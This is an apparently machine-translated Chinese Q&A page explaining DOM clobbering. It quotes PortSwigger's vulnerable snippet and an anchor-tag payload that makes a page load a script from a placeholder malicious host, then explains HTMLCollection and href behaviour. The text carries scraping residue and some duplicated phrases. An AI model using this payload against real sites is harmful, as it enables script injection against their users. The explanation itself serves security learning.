DOM 破坏及其工作原理

sec*_*int 4 html javascript frontend dom web-application-security

我对DOM Clobbering主题有一些疑问:

Portswigger 对此进行了解释:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>
Run Code Online (Sandbox Code Playgroud)

要利用此易受攻击的代码,您可以注入以下 HTML,以使用锚元素破坏 someObject 引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Run Code Online (Sandbox Code Playgroud)

由于两个锚点使用相同的 ID,因此 DOM 将它们分组到一个 DOM 集合中。然后 DOM 破坏向量用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用 name 属性是为了破坏 someObject 对象的 url 属性,该对象指向外部脚本。

我的理解是:

具有 id 的锚元素someObject存储在类似数组的结构中 - DOM 集合。

通过

var someObject = window.someObject || {};
Run Code Online (Sandbox Code Playgroud)

锚元素是使用 id 引用的 - 某些浏览器将 id 直接存储在 window 对象中(html 元素的 ID 是否始终可从 window 对象获取?)。

然而:

控制台是这样说的:

控制台第 1 部分 控制台第 2 部分

(有关此主题的更多信息也可以在这里找到:https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b

Kai*_*ido 7

\n

为什么 name 属性会用 URL 覆盖 url 属性?

\n
\n

因为它someObject实际上是一个 HTMLCollection,您可以访问HTMLCollection它实际上是一个 HTMLCollection,您可以通过名称

\n

\r\n
\r\n
console.log( document.getElementsByClassName("test").bar );
Run Code Online (Sandbox Code Playgroud)\r\n
<div class="test" name="foo"><div><div class="test" name="bar"></div>
Run Code Online (Sandbox Code Playgroud)\r\n
\r\n
\r\n

\n

\n

DOM 集合与这一切有什么关系?

\n
\n

请注意它们如何拥有两个具有相同id属性的元素?好吧,尽管它违反了规范,但在将命名元素作为window属性访问时,相同的规范实际上有一个特殊的规则来处理这种情况:访问时,相同的规范实际上有一个特殊的规则来处理这种情况:

\n
\n
    \n
  1. 否则,如果对象只有一个元素,则返回该元素。
  2. \n
  3. 否则返回一个以窗口关联文档为根的 HTMLCollection,其过滤器仅与名称为 name 的窗口的命名对象匹配。(根据定义,这些都是元素。)
  4. \n
\n
\n

我认为只有 Chrome 确实尊重这里的规范,因此在这个浏览器中,如果您通过其访问元素id的方式访问一个元素,并且有多个具有相同 \xc3\xacd` 的元素,您将获得一个 HTMLCollection 而不是一个 Element:

\n

\r\n
\r\n
console.log( window.foo ); // in Chrome [HTMLCollection]
Run Code Online (Sandbox Code Playgroud)\r\n
<div id="foo">1</div><div id="foo">2</div>
Run Code Online (Sandbox Code Playgroud)\r\n
\r\n
\r\n

\n

\n

window.someObject || 中的对象初始值设定项是否 {} ( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer ) 在攻击中发挥了什么作用?

\n
\n

这只是为了避免在处理程序触发时null没有包含此元素的情况,因此它在这里主要是无用的。id

\n
\n

最后一个问题:为什么script.src = someObject.url;要从整个锚元素中提取href?

\n
\n

因为HTMLAnchorElement.toString()返回.href值。

\n